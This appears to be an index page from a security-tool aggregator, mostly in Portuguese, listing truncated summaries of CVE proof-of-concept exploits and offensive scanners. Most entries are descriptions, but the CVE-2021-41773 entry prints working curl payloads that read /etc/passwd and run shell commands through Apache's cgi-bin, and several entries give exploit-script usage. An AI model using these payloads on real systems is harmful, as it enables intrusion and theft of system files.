CVE-2023-4294

ID CVE : CVE-2023-4294 Tipo de Vulnerabilidade : Cross-Site Scripting Descrição : O plugin URL Shortify para WordPress é vulnerável a Cross-Site Scripting Armazenado através do cabeçalho referrer nas versões até, e incluindo, 1.7.5 devido a sanitização insuficiente de entrada e escape de saída...

CVE-2021-21349

CVE-2021-21349 XStream SSRF Anúncio Oficial do XStream CVE-2021-21349 Vulnerabilidade CVE-2021-21349: Uma Solicitação de Falsificação do Lado do Servidor Server-Side Forgery Request pode ser ativada durante o unmarshalling com o XStream para acessar fluxos de dados de uma URL arbitrária que...

CVE-2022-42889

CVE-2022-42889-POC Um aplicativo de demonstração simples que mostra como explorar a vulnerabilidade CVE-2022-42889. Utiliza serviços OOB Out of Band para demonstrar os prefixos dns e url. JavaDocs para interpolação de commons-text commons-text JavaDocs Exemplos de interpolações script:javascript...

CVE-2023-24488

POC para CVE-2023-24488 Esta ferramenta é inspirada em uma ferramenta semelhante https://github.com/securitycipher/CVE-2023-24488 construída em python. Esta ferramenta foi construída em golang e foi refinada a partir de sua versão em python, sendo usada para exploração da CVE-2023-24488 Instalaçã...

backdoor.mirai.helloworld

Dasan GPON Router URL ? ao adicionar string após a imagem...

CVE-2022-46169

CVE-2022-46169 Instalação root@kitploit: git clone https://github.com/miko550/CVE-2022-46169.git cd CVE-2022-46169 Uso root@kitploit: usage: CVE-2022-46169.py -h -t TARGET -l LIST options: -h, --help show this help message and exit -t TARGET, --target TARGET The URL of the target, eg:...

CVE-2025-23040

CVE-2025-23040 - Credential Leak in GitHub Desktop GitHub Desktop 3.4.12 é vulnerável a um ataque que permite exfiltrar credenciais por meio de URLs remotos maliciosos. Um atacante pode convencer um usuário a clonar um repositório manipulado para obter nome de usuário e token OAuth...

CVE-2017-16568

CVE-2017-16568 1. Título do Exploit: Logitech Media Server : injeção e execução de código HTML. 2. Shodan Dork: Pesquisar Logitech Media Server 3. Data: 11/03/2017 4. Autor do Exploit: Dewank Pant 5. Homepage do fornecedor: www.logitech.com 6. Versão: 7.9.0 7. Testado em: Windows 10, Linux POC: 1...

S2-Reaper

S2-Reaper Este projeto é usado para coletar URLs vulneráveis afetadas pelo Struts2 S2-045 a partir dos resultados de pesquisa do Google. Uso root@kitploit: python reaper.py Sobre O reaper.py executará um crawler de pesquisa do Google com palavras-chave definidas em crawler.conf para encontrar URL...

CVE-2020-14882

Obrigado a NS-Sp4ce, Jas502n, s1kr10s, demon, 斯文 Referência: https://github.com/NS-Sp4ce/CVE-2020-14882 https://github.com/jas502n/CVE-2020-14882 https://github.com/s1kr10s/CVE-2020-14882 uso: CVE-2020-14882.py -h -u URL -f FILE -c CMD argumentos opcionais: -h, --help mostra esta mensagem de ajud...

clickjacking-poc

Ferramenta de PoC para Clickjacking Uma ferramenta básica para gerar provas de conceito de clickjacking com base em uma URL fornecida. Compilação A compilação deve ser simples... root@kitploit: $ go get $ go build Uso Uso básico: clickjacking-poc -u https://example.com A ferramenta também pode se...

CVE-2025-11953-POC-

CVE-2025-11953 - Ambiente de Pesquisa RCE para React Native CLI 📋 Visão Geral A CVE-2025-11953 é uma vulnerabilidade crítica de Execução Remota de Código RCE no servidor de desenvolvimento Metro do React Native CLI, descoberta pela JFrog Security. Este ambiente de pesquisa fornece a implementação...

CVE-2025-69600

CVE-2025-69600 autor: Rafael José Núñez Gulías empresa: Iberian Var Group Produtos afetados: RayVentory Scan Engine 12.6 Update 8 e versões anteriores Aviso da Raynet: RSEC200966 Injeção de comandos no rvia da Raynet permite que adversários executem comandos por meio das opções getconfig, upload,...

CVE-2024-21413-Outlook-Assessment

Relatório de Avaliação e Exploração de Vulnerabilidades 1. Resumo Executivo Este relatório analisa a CVE-2024-21413 , também conhecida como vulnerabilidade Moniker Link , uma falha crítica de Execução Remota de Código RCE no Microsoft Outlook. Esta avaliação demonstra como o tratamento inadequado...

cve-2021-41773

cve-2021-41773 CVE-2021-41773 vulnerabilidade de Path Traversal no Apache 2.4.49. PoC de RCE PoC Payload curl -s --path-as-is ":PORT/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd curl -s --path-as-is --data "echo;Command" "IP:PORT/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh Siga-nos Vulnmachines...

Egyscan

EgyScan V3.4 "Ultra" : Deine digitale Festung der Unbesiegbarkeit 🏰 Grüße, Wächter des digitalen Reichs! 🛡️ Bereite dich auf eine außergewöhnliche Reise mit EgyScan V3.0 vor, dem ultimativen Wächter, der deine Websites in uneinnehmbare Festungen gegen unerbittliche Cyber-Bedrohungen verwandelt...

Follina-MSDT-Vulnerability-CVE-2022-30190-

Follina-MSDT-Vulnerability-CVE-2022-30190- Detecção e Remediação da Vulnerabilidade Follina MSDT CVE-2022-30190 Para informações detalhadas sobre Follina-MSDT-Vulnerability-CVE-2022-30190- visite...

CVE-2023-42793

Sobre CVE-2023-42793 Você precisará obter o token primeiro usando um exploit diferente. No entanto, o exploit a seguir permitirá que você obtenha RCE no servidor Linux, pois ele codifica o payload na URL e o envia para o servidor. Como usar root@kitploit: python3 ./main -t TEAMCITYTOKEN -u...

CVE-2022-24834-

CVE-2022-24834 python exploit.py -url -port...

Zeus-Scanner

Verzeichnis nützlicher Links Was ist Zeus Die Funktionen von Zeus Anforderungen und Installation Ubuntu/Debian centOS Andere Screenshots Demo-Video Benutzerhandbuch Wie Zeus funktioniert Funktionalität sqlmap-Flags an Zeus übergeben Rechtliche Informationen Lizenz GPL Verhaltenskodex Einen Fehler...